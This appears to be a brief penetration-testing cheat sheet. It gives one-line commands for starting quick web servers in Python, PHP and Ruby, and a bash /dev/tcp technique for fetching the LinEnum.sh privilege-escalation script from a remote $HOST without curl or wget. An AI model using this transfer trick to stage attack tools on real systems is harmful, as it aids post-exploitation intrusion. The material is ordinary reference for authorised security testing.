Multiple web listeners:

# Python3
python3 -m http.server
# Python2
python2.7 -m SimpleHTTPServer
# php
php -S 0.0.0.0:8000
# Ruby
ruby -run -ehttpd . -p8000

Download with Bash:

# Establish TCP
exec 3<>/dev/tcp/$HOST/80
# Run the HTTP GET request
echo -e "GET /LinEnum.sh HTTP/1.1\\n\\n">&3
# Print response
cat <&3